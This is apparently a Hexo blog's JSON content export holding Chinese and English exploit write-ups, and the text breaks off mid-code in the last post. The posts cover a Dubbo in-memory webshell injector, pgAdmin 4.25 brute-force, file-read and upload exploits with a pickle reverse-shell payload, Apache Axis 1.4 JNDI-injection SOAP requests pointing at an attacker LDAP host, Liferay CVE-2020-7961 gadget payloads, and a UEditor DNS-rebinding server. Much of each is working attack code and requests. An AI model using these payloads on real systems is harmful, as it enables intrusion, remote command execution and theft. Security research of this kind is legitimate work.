-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcontent.json
1 lines (1 loc) · 119 KB
/
content.json
1
{"pages":[{"title":"about","date":"2017-12-13T10:22:58.000Z","path":"about.html","text":"本博客本着分享记录技术,生活欢迎大家常来文章如有错误请发送邮件 j1anfen#hotmail.com"},{"title":"friendlink","date":"2017-12-13T05:13:40.000Z","path":"links.html","text":"friendlink"},{"title":"categories","date":"2021-04-22T03:25:56.189Z","path":"categories/index.html","text":""},{"title":"projects","date":"2021-10-05T06:59:27.342Z","path":"projects.html","text":""},{"title":"moods","date":"2021-10-05T06:59:35.890Z","path":"moods.html","text":""},{"title":"tags","date":"2021-04-22T03:25:56.189Z","path":"tags/index.html","text":""}],"posts":[{"title":"dubbo中使用hessian_http/dubbo协议注入内存马","date":"2021-10-05T06:18:59.000Z","path":"/渗透测试/dubbo注入内存马/","text":"学习源码顺便玩玩内存马加深印象,比如某些环境不想触发反弹shell触发告警可以写入内存马方便快速操作(命令执行,文件管理,绕rasp,waf等) 漏洞测试环境:https://securitylab.github.com/advisories/GHSL-2021-094-096-apache-dubbo/ dubbo使用hessian协议对外暴露服务时触发反序列化漏洞Issue 2: Unsafe deserialization in providers using the Hessian protocol (CVE-2021-36163/GHSL-2021-095) 代码环境:https://github.com/apache/dubbo-samplesdubbo-sample-http 基于CVE-2021-36163,http over hessian http-provider.xml 配置: 1234567<dubbo:registry address=\"zookeeper://${zookeeper.address:127.0.0.1}:2181\"/><!-- 设置jetty或者tomcat服务器都可 --><dubbo:protocol name=\"hessian\" port=\"8085\" server=\"jetty\" /><bean id=\"demoService\" class=\"org.apache.dubbo.samples.http.impl.DemoServiceImpl\"/><dubbo:service interface=\"org.apache.dubbo.samples.http.api.DemoService\" ref=\"demoService\" protocol=\"hessian\"/> 内存马前置知识注入内存马无非就是修改关键变量中添加恶意的路由和对应的服务映射,所以一步步回溯寻找可修改关键变量的点是最主要的。 dubbo SPIhttps://blog.csdn.net/top_code/article/details/51934459 dubbo中获取各种对象很多场景使用SPI(service provider interface) ,spi核心的作用就是解耦代码。用户直接调用接口即可直接调用实现代码,调用的最终实现从配置,远程等方式读取。 单从上面链接中的例子看不出此模式的优势,举个栗子:比如某场景调用信息模块只需要调用接口代码即可获取信息,后端通过服务发现,webservice服务(Eureka,Feign)会将请求转发到其他模块执行,这样就完全进行了代码解耦。 dubbo中到处都用到了SPI的调用方式,也对jdk原生的spi模式进行了优化,dubbo的扩展机制是dubbo实现扩展各种协议和各种反序列化方法的基础:https://dubbo.apache.org/zh/docsv2.7/dev/source/dubbo-spi/ 扩展加载器特点:dubbo会将所有待被使用的扩展均缓存然后按需调用,所以代码中会经常看到如下类似代码: 从接口加载指定名称实例: #getExtension 1ExtensionLoader.getExtensionLoader(Protocol.class).getExtension(\"hessian\") 自适应(adaptive) 决定要注入的目标扩展。 目标扩展的名称由 URL 中传递的参数决定,参数名称由该方法给出。Decide which target extension to be injected. The name of the target extension is decided by the parameter passed in the URL, and the parameter names are given by this method. 比如接口Protocol中export和refer就存在@Adaptive注解,可以根据url设置的协议动态选择协议: dubbo:// hessian:// rmi://, @SPI(“dubbo”)默认为dubboProtocol协议: @adaptive 1ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension() 自激活(active)内存马无需用到这部分知识,忽略。 内存马注入通过断点发现 org.apache.dubbo.rpc.protocol.hessian.HessianProtocol.HessianHandler#handle:skeletonMap中存在路由和调用方法对应关系,所以寻找可以修改skeletonMap参数的点即可: skeletonMap.put下断点一路回溯看是否存在静态对象可获取最终修改skeletonMap: 最终发现dubbo通过PROTOCOL对象进行export方法调用最终会触发修改skeletonMap,此时可以看出PROTOCOL是通过spi方式调用接口获取的自适应扩展: 1private static final Protocol PROTOCOL = (Protocol)ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension(); 参考以下代码:org/apache/dubbo/dubbo/2.7.10/dubbo-2.7.10.jar!/org/apache/dubbo/config/ServiceConfig.class:424 1234Invoker<?> invoker = PROXY_FACTORY.getInvoker(this.ref, this.interfaceClass, registryURL.addParameterAndEncoded(\"export\", url.toFullString()));DelegateProviderMetaDataInvoker wrapperInvoker = new DelegateProviderMetaDataInvoker(invoker, this);Exporter<?> exporter = PROTOCOL.export(wrapperInvoker);this.exporters.add(exporter); jndi反序列化时代码,将接口和实现类base64编码通过defineClass加载,最终export: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758import org.apache.dubbo.common.URL;import org.apache.dubbo.common.bytecode.Proxy;import org.apache.dubbo.common.extension.ExtensionLoader;import org.apache.dubbo.common.utils.ClassUtils;import org.apache.dubbo.rpc.Invoker;import org.apache.dubbo.rpc.Protocol;import org.apache.dubbo.rpc.ProxyFactory;public class MemInject { public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName(\"sun.misc.BASE64Decoder\"); return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName(\"java.util.Base64\"); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null); return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str); } } public MemInject() { try { // 获取hessianProtocol对象 Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension(\"hessian\"); // 创建路由规则 x.x.x.x:8085/sb URL url = new URL(\"hessian\", \"0.0.0.0\", 8085, \"sb\"); // 获取ProxyFactory对象最终需要生成invoker对象 ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class).getAdaptiveExtension(); // 恶意类,接口加载 java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); // 替换为base64编码的类和接口字符串 String extendServiceStr = \"[extendService_interface_code]\"; String extendServiceImpl = \"[extendServiceImpl_code]\"; // 生成字节码 byte[] extServiceBytes = base64Decode(extendServiceStr); byte[] extServiceImplBytes = base64Decode(extendServiceImpl); // 使用dubbo原生获取classloader方法,由于dubbo中使用代理类会出现同时加载一个类,如果使用不同类加载器则会抛出错误 ClassLoader proxyClassLoader = ClassUtils.getClassLoader(Proxy.class); Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0), new Integer(extServiceBytes.length)}); Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0), new Integer(extServiceImplBytes.length)}); Invoker evilInvoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, url); protocolObj.export(evilInvoker); } catch (Exception e) { e.printStackTrace(); } }} 恶意接口和实现类: DemoService: 123public interface DemoService { String cmd(String c);} DemoServiceImpl: 12345678910111213public class DemoServiceImpl implements DemoService { @Override public String cmd(String c) { String result = null; try { String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") ? new String[]{\"cmd.exe\", \"/c\", c} : new String[]{\"/bin/sh\", \"-c\", c}; result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next(); } catch (Exception e) { result = e.getMessage(); } return result; }} 客户端调用之前设置的接口方法,即可触发注入的内存马: 1234567891011121314151617import com.caucho.hessian.client.HessianProxyFactory;public class HessianRequest { public static String urlName = \"http://127.0.0.1:8085/sb\"; public static void main(String[] args) throws MalformedURLException { HessianProxyFactory factory = new HessianProxyFactory(); // 开启方法重载 factory.setOverloadEnabled(true); HelloHessian helloHession = (HelloHessian) factory.create( HelloHessian.class, urlName); String result = helloHession.cmd(\"ifconfig\"); System.out.println(result); }} dubbo原生协议注入内存马dubbo版本小于 2.7.6 dubbo provider.xml 1<dubbo:protocol name=\"dubbo\" port=\"20880\" host=\"127.0.0.1\"/> 20880端口反序列化注入同理: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889import org.apache.dubbo.common.URL;import org.apache.dubbo.common.bytecode.ClassGenerator;import org.apache.dubbo.common.extension.ExtensionLoader;import org.apache.dubbo.common.utils.ClassUtils;import org.apache.dubbo.rpc.Exporter;import org.apache.dubbo.rpc.Invoker;import org.apache.dubbo.rpc.Protocol;import org.apache.dubbo.rpc.ProxyFactory;import org.apache.dubbo.rpc.protocol.dubbo.DubboExporter;import org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;public class MemInjectDubbo { public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName(\"sun.misc.BASE64Decoder\"); return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName(\"java.util.Base64\"); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null); return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str); } } public MemInjectDubbo() { try { // 由于代理类中存在wrapper所以getExtension获取的为QosWrapperProcotol,此时需要获取内部filed中被嵌套的真实dubboProtocol Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension(\"dubbo\"); // 设置查询DubboProtocol次数,超过4次则跳出,避免无限查询 int i = 4; do { i--; try { Field protocolField = protocolObj.getClass().getDeclaredField(\"protocol\"); protocolField.setAccessible(true); protocolObj = (Protocol) protocolField.get(protocolObj); } catch (Exception e) { ; } } while (protocolObj.getClass() != DubboProtocol.class || i < 0); // 设置端口和调用类名 URL dubboURL = new URL(\"dubbo\", \"0.0.0.0\", 20880, \"x.extendService\"); // 获取jdk原生ProxyFactory, 避免其他扩展其他代码干扰比如javassistProxyFactory会在生成代码时干扰代码逻辑 ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class).getExtension(\"jdk\"); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); // 替换为自己想注入的类 String extendServiceStr = \"[base64_classbytes]\"; String extendServiceImpl = \"[base64_classbytes]\"; byte[] extServiceBytes = base64Decode(extendServiceStr); byte[] extServiceImplBytes = base64Decode(extendServiceImpl); ClassLoader proxyClassLoader = ClassUtils.getClassLoader(ClassGenerator.class); Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0), new Integer(extServiceBytes.length)}); Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0), new Integer(extServiceImplBytes.length)}); Invoker<?> invoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, dubboURL); URL url = invoker.getUrl(); // export service. org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.export // dubboProtocol#export方法中将暴露接口和启动服务写在同一个函数,没预想到动态加载接口,所以这里不直接调用export而是抽取部分export代码反射修改exporterMap添加恶意对象映射关系 Field exporterMapField = protocolObj.getClass().getSuperclass().getDeclaredField(\"exporterMap\"); exporterMapField.setAccessible(true); Map<String, Exporter<?>> exporterMap = (Map<String, Exporter<?>>) exporterMapField.get(protocolObj); Method serviceKeyMethod = protocolObj.getClass().getSuperclass().getDeclaredMethod(\"serviceKey\", URL.class); serviceKeyMethod.setAccessible(true); String key = (String) serviceKeyMethod.invoke(protocolObj, url); DubboExporter exporter = new DubboExporter(invoker, key, exporterMap); exporterMap.put(key, exporter); } catch (Exception e) { e.printStackTrace(); } }} 客户端调用即可: 123456789101112131415from dubbo.codec.hessian2 import new_objectfrom dubbo.client import DubboClientfrom dubbo.java_class import JavaStringclient = DubboClient('127.0.0.1', 20880)# 构造一个Java Object为com.demo.test的参数resp = client.send_request_and_return_response( service_name='x.extendService',service_version=\"\", method_name='cmd', args=[JavaString(\"open -na calculator\")])print(resp) 部分疑问 http over hessian内存马,为啥不直接注入jetty filter或者servlet马?目前使用网上jetty内存马无法在dubbo中找到org.eclipse.jetty.webapp:type=webappcontext对象 随便写写,抛砖引玉,如有错误请联系。","tags":[],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"}]},{"title":"Multiple vulnerabilities in pgadmin <= 4.25","date":"2020-11-21T03:30:48.000Z","path":"/漏洞挖掘/Multiple vulnerabilities in pgadmin4/","text":"pgadmin4 vulnerabilities Affected version: 4.25 and below, fixed 4.26 https://github.com/postgres/pgadmin4/tree/REL-4_25 Affected version: 4.25 and below, fixed 4.26 Three vulnerabilities found 1. pgadmin login verification defect lead to easy brute force crackingVulnerability analysis:pgadmin uses flask-security to build authentication login, but when the user name is entered as a number,the program will perform user_model.query.get query and return the object: /flask_security/datastore.py:521 When the user object exists, pgadmin will prompt that the password is incorrect. When logging in to the system,you don’t need to know the email and username. You only need to enter the number and brute force it to get the system login permission easily. test environment:pgadmin4username: [email protected] When the number 1 is entered, the password is incorrect, indicating that the database information is matched successfully You can traverse and blast all the passwords of the correct login account through the primary key id to enter the system: 2. pgadmin File Manage interface arbitrary file readingVulnerability demo: 1) Use the administrator account to add a account and use the PUT method to modify the user name to “/“: 123456789101112131415PUT /user_management/user/2 HTTP/1.1Host: 192.168.123.120Content-Length: 166X-pgA-CSRFToken: IjJjMmU5OTc5OTZjMTgwMWUwMThiNDkyYjhkZTVmODBmYjQ0MDYwNDUi.X1ULJg.WWZ-cfX1AKkHFHjmR0g0FRTKqz4Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestContent-Type: application/jsonOrigin: http://192.168.123.120Referer: http://192.168.123.120/browser/Accept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8Cookie: pga4_session=83ebba90-43f8-4668-89c0-16658c579a4e!//j+Ar0ZU2BcDih+7YkSWPbIs7A=; PGADMIN_LANGUAGE=enConnection: close{\"email\":\"[email protected]\",\"username\":\"/\",\"active\":true,\"role\":\"1\",\"newPassword\":\"123456\",\"confirmPassword\":\"123456\",\"auth_source\":\"internal\",\"authOnlyInternal\":true} 2) modify username to “/“ success: 5)Find the download interface from the code to download any file: 12345678910GET /file_manager/filemanager/6122200/?mode=download&path=/pgadmin4/config.py HTTP/1.1Host: 192.168.123.120X-pgA-CSRFToken: IjZhZDQ4MjZhNDcyZjU5MzMzZTRiMGJjYzkwNjAyMzQ2NDI5NDYyNDEi.X1jpeg.DfOX46UksQVkitJwyUrD2S5viNEUpgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.123.120/browser/Accept-Encoding: gzip, deflateAccept-Language: zh-TW,zh;q=0.9Cookie: pga4_session=2a7c0e68-3f5c-4fb9-a5e7-aea4ab980c43!mrbtthlY17M0iphrp2Lg8S0Lj8c=; PGADMIN_LANGUAGE=enConnection: close Vulnerability analysis: def get_storage_directory() Used to get the upload file storage directory:The Code uses os.path.join to combine username and default storage directory,If the user name is “/“, os.path.join defaults to “/“,so also bypass function check_access_permission() : 3. Arbitrary file upload overwrites sqlite execution deserialization causing command executionfilemanage file name upload across directories: 12345678910111213141516171819202122232425262728POST /file_manager/filemanager/8388910/ HTTP/1.1Host: 192.168.123.120Content-Length: 12957X-pgA-CSRFToken: ImQ5NmM3MTVkYzU4YmI3N2I2YTE4MWQxMGUwODBlODNhYjc4ZTRjYjgi.X1TlHw.-VQMlcTtNAoFqsWnpHO_cthP3J4Accept: application/jsonCache-Control: no-cacheX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywdHFG1O2RvkHKzD6Origin: http://192.168.123.120Referer: http://192.168.123.120/browser/Accept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; pga4_session=8f8dfd18-0096-498a-a8c2-0582e3572583!IAaD6RQYJyFCoiURqUx9tldKZS0=; PGADMIN_LANGUAGE=enConnection: close------WebKitFormBoundarywdHFG1O2RvkHKzD6Content-Disposition: form-data; name=\"mode\"add------WebKitFormBoundarywdHFG1O2RvkHKzD6Content-Disposition: form-data; name=\"currentpath\"/------WebKitFormBoundarywdHFG1O2RvkHKzD6Content-Disposition: form-data; name=\"newfile\"; filename=\"../../../../../../../../../../var/lib/pgadmin/pgadmin4.db\"Content-Type: image/gifdatabase content....................................... 1) overwrites sqlite database: 2)Create a pickle object for the process.desc field: 12345678910111213141516171819202122import osimport pickleimport socketimport ptyclass exp(object):def __reduce__(self):a = 'python -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\"vps_address\\\\\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\\\"/bin/sh\\\\\",\\\\\"-i\\\\\"]);\"'return (os.system,(a,))e = exp()s = pickle.dumps(e)import sqlite3# OK, now for the DB part: we make it...:db = sqlite3.connect('pgadmin4.db')db.execute('UPDATE process set desc = (?) where pid=\"123\"', (s,))db.commit()db.close() database content: 3)GET requests /misc/bgprocess/ Trigger the deserialization operation to read the content of the process.desc field to cause the command to execute:","tags":[],"categories":[{"name":"漏洞挖掘","slug":"漏洞挖掘","permalink":"http://yoursite.com/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"}]},{"title":"axis 1.4 AdminService未授权访问 jndi注入利用","date":"2020-06-30T10:19:35.000Z","path":"/渗透测试/axis 1.4 AdminService未授权访问 jndi注入命令执行利用/","text":"最近利用一个漏洞Axis 1.4 adminservice开启远程访问下可新建服务执行任意方法, 写文件出现问题可试试本文利用默认包中的jndi lookup注入恶意class执行反弹shell 0x01 漏洞形成前提Axis 1.4AdminService enableRemoteAdmin == True 0x02 搭建axis bin包解压后将webapps下axis复制到tomcat环境下的webapps目录下:http://mirror.navercorp.com/apache/axis/axis/java/1.4/ 1. 更新环境变量执行本地构建命令时需要环境变量找到jar包路径 1234567vim ~/.profileexport AXIS_HOME=/var/lib/tomcat8/webapps/axisexport AXIS_LIB=$AXIS_HOME/WEB-INF/libexport AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jarsource ~/.profile 2.开启RemoteAdmin服务12345678910webapps/axis/WEB-INF/deploy.wsdd<deployment xmlns=\"http://xml.apache.org/axis/wsdd/\" xmlns:java=\"http://xml.apache.org/axis/wsdd/providers/java\"> <service name=\"AdminService\" provider=\"java:MSG\"> <parameter name=\"className\" value=\"org.apache.axis.utils.Admin\"/> <parameter name=\"allowedMethods\" value=\"*\"/> <parameter name=\"enableRemoteAdmin\" value=\"true\"/> </service></deployment> 3.部署刷新配置1java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd 0x03 源码找到一处jndi调用1.检索axis服务默认可调用的jar包: 在源码中中发现org.apache.axis.client.ServiceFactory下getService服务中获取environment中的jndiName再进行context.lookup, 这样我们可以通过设置jndiName参数为恶意的服务完成攻击: 0x04 利用过程1.注册服务:1234567891011121314151617181920212223POST /axis/services/AdminService HTTP/1.1Host: 192.168.123.136:8080Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 737<?xml version=\"1.0\" encoding=\"utf-8\"?><soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> <soapenv:Body> <ns1:deployment xmlns:ns1=\"http://xml.apache.org/axis/wsdd/\" xmlns=\"http://xml.apache.org/axis/wsdd/\" xmlns:java=\"http://xml.apache.org/axis/wsdd/providers/java\"> <ns1:service name=\"test1Service\" provider=\"java:RPC\"> <ns1:parameter name=\"className\" value=\"org.apache.axis.client.ServiceFactory\"/> <ns1:parameter name=\"allowedMethods\" value=\"*\"/> </ns1:service> </ns1:deployment> </soapenv:Body></soapenv:Envelope> 2.调用jndi服务:访问创建的test1Service进行jndi注入: 1234567891011121314151617181920212223242526272829POST /axis/services/test1Service HTTP/1.1Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.123.136:8080/axis/servlet/AxisServletAccept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8Connection: closeSOAPAction:Content-Type: text/xml;charset=UTF-8Host: 192.168.123.136:8080Content-Length: 720<?xml version=\"1.0\" encoding=\"utf-8\"?><soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:buil=\"http://build.antlr\"> <soapenv:Header/> <soapenv:Body> <buil:getService soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <environment xmlns:apachesoap=\"http://xml.apache.org/xml-soap\" xmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\" xsi:type=\"apachesoap:Map\"> <item> <key xsi:type=\"soapenc:string\">jndiName</key> <value xsi:type=\"soapenc:string\">ldap://[vps_adress]:1389/Reverse1</value> </item> </environment> </buil:getService> </soapenv:Body></soapenv:Envelope> 3.marshalsec ldap 反弹shell: 4.卸载服务:1234567891011121314151617181920212223POST /axis/services/AdminService HTTP/1.1Host: 192.168.123.136:8080Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 463<?xml version=\"1.0\" encoding=\"utf-8\"?><soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> <soapenv:Body><undeployment xmlns=\"http://xml.apache.org/axis/wsdd/\"> <service name=\"test1Service\"/></undeployment> </soapenv:Body></soapenv:Envelope> 0x05 参考链接[https://axis.apache.org/axis/java/install.html](https://axis.apache.org/axis/java/install.htmlhttps://github.com/KibodWapon/Axis-1.4-RCE-Poc","tags":[],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"}]},{"title":"Liferay Portal CVE-2020-7961 学习记录(7.0以上回显)","date":"2020-04-07T10:19:35.000Z","path":"/漏洞复现/Liferay Portal CVE-2020-7961 学习记录/","text":"前几天看大家也都在分析该CVE,自己也跟着大佬步伐记录一下所学和思路。code white | Blog: Liferay Portal JSON Web Service RCE Vulnerabilities根据以上博客得出几个复现漏洞的点。 漏洞形成前提版本小于:6.2 GA6、7.0 GA7、7.1 GA4、7.2 GA2 漏洞实现版本区别,本文只学习了 7.0 以上版本的相关复现:小于7.0使用 Flexjson大于7.0使用 Jodd Json 区别为jodd json不支持直接传递对象类型,需要使用map映射或者setClassMetadataName函数才能指定对象类型类似于fastjson,jackson的安全限制,但是由于jodd没有上面这2个库那么多黑名单限制所以更容易构造反序列化漏洞。 debug环境 docker: mdelapenya/liferay-portal:7.0-ga6 idea 设置remote调试填写socket端口即可 漏洞复现的关键点根据网络上的博客总结出以下几点: Json services 服务接口存在java.lang.object参数调用这样就可以被指定为任意类型从而传递任意恶意类 使用jodd指定任意类型导致反序列化命令执行:不安全的反序列化 会执行内部无参构造方法和setter方法和父类构造方法 反序列化在接口认证之前所以构成未授权远程命令执行. 构造payloads 找出/api/jsonws服务接口中可以调用java.lang.object参数的服务名 找出jodd json可以构造无参和setter方法执行的利用链 尝试进行回显 1. 寻找对象java.lang.object先进行第一步找出api/jsonws接口或者代码里搜索接口传递参数为object的服务接口这里找到updateColumn接口发现参数接收java.lang.object:接下来我们构造接口传递任意类型给defaultData参数最终会进行jodd json库的反序列化,那我们先进行jodd json反序列化的本地测试 2. 测试jodd json不安全的反序列化具体本地测试jodd不安全反序列化可参考:https://paper.seebug.org/1162/ 这里分享以下本地测试jodd json反序列化遇到一个坑:测试时需要按照liferay的调用方法使用jodd中的map方法进行反序列化操作具体原因见差异: 12\\com\\liferay\\portal\\json\\JSONDeserializerImpl.class#22this._jsonDeserializer.map(path, clazz); 过程反序列化部分payload差异12345678910111213public class Test1 { public static void main(String[] args) { JsonParser jsonParser = new JsonParser(); String testjson = \"{\\\"class\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"http://127.0.0.1:1389\\\", \\\"autoCommit\\\":true}\"; // 造成读取hashmap setter不按自己逻辑执行 jsonParser.setClassMetadataName(\"class\").parse(testjson); // 自动设置roottype按顺序读取key value String testjson1 = \"{\\\"dataSourceName\\\":\\\"ldap://127.0.0.1:1389\\\", \\\"autoCommit\\\":true}\"; jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson1); }} 根据官网设置setClassMetadataName最终key value被加载进hashmap由于hashmap按key排序取key会按照排序顺序导致a开头的autoCommit被提前执行SetautoCommit无法找到dataSourceName的jndi服务:jsonParser.setClassMetadataName(“class”).parse(testjson); map调用方式会按照输入json数据流的顺序取值因为targetype被rootype赋值isTargetRealTypeMap按代码逻辑被设置为false, 从HTTP请求中解析json会按照自己设置的顺序读取:jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson); 当然如果只有一个参数的利用链就不受到排序影响,在Liferay使用的map函数所以也不会受到影响. 3. 调用反序列化执行官网关于java.lang.object参数传值调用方式介绍:https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#object-parameters 参数名为 +参数名:类名=值:类似的payload网上也很多了。 执行分析流程图 (打开放大) 构造回显payload 先将所有存在的jar包拉出,检索存在可能的链,其实允许构造方法和setter任意访问 jackson,fastjson多个payload通用 需要考虑利用链中组件的版本 需要考虑当前JDK版本 发现lib下存在以下依赖包: 1234c3p0.jarcommons-beanutils.jarcommons-collections.jar (3.1)commons-logging.jar 此时可以参考marshalsec中的jackson利用方法:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource docker环境下liferay-portal:7.0-ga6 jdk版本为1.8.221所以有部分gadgets受到jdk版本影响无法执行: 123com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:{\"userOverridesAsString\":\"HexAsciiSerializedMap:aced0005737\"} 当触发setuserOveridesAsString函数最终将会把hex反序列化造成触发恶意代码,此时替换成合适且符合jdk1.8.211和内置的库中的版本需求就可以尝试构造回显: 寻找那些实现了各种request response函数的接口,通过类去搜索,在那些代码被调用 最好先将所有jar包反编译否则搜索匹配字会出问题","tags":[],"categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://yoursite.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}]},{"title":"UEditor 1.4.3.3验证SSRF漏洞提高DNS rebinding成功率","date":"2019-11-13T10:18:59.000Z","path":"/渗透测试/UEditor 1.4.3.3验证SSRF漏洞提高DNS rebinding成功率/","text":"测试中遇到一个Ueditor 1.4.3.3 php ssrf但是由于DNS rebinding的不稳定性造成复现困难,目前通过延迟等手段可以加大成功率。 0x01 复现过程 参考文章中先设置test.jianfensec.com的NS记录转发到自己的VPS DNS服务器:http://admintony.com/UEditor-1-4-3-3-SSRF-AND-DNS-rebinding-attack.html 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748#coding : utf-8from twisted.internet import reactor, deferfrom twisted.names import client, dns, error, serverimport timeflag=0class DynamicResolver(object): def _doDynamicResponse(self, query): name = query.name.name global flag if flag < 2: ip=\"47.52.95.35\" flag=flag+1 else: ip=\"192.168.123.130\" flag=0 current_time = time.strftime('%Y.%m.%d %H:%M:%S ',time.localtime(time.time())) print \"[{}]{} ===> {}\".format(current_time,name,ip) answer = dns.RRHeader( name=name, type=dns.A, cls=dns.IN, ttl=0, payload=dns.Record_A(address=b'%s'%ip,ttl=0) ) answers = [answer] authority = [] additional = [] return answers, authority, additional def query(self, query, timeout=None): return defer.succeed(self._doDynamicResponse(query))def main(): factory = server.DNSServerFactory( clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')] ) protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53, protocol) reactor.run()if __name__ == '__main__': raise SystemExit(main()) 启动Web服务: 123456789101112131415161718192021from flask import Flask, Responsefrom werkzeug.routing import BaseConverterimport timeclass Regex_url(BaseConverter): def 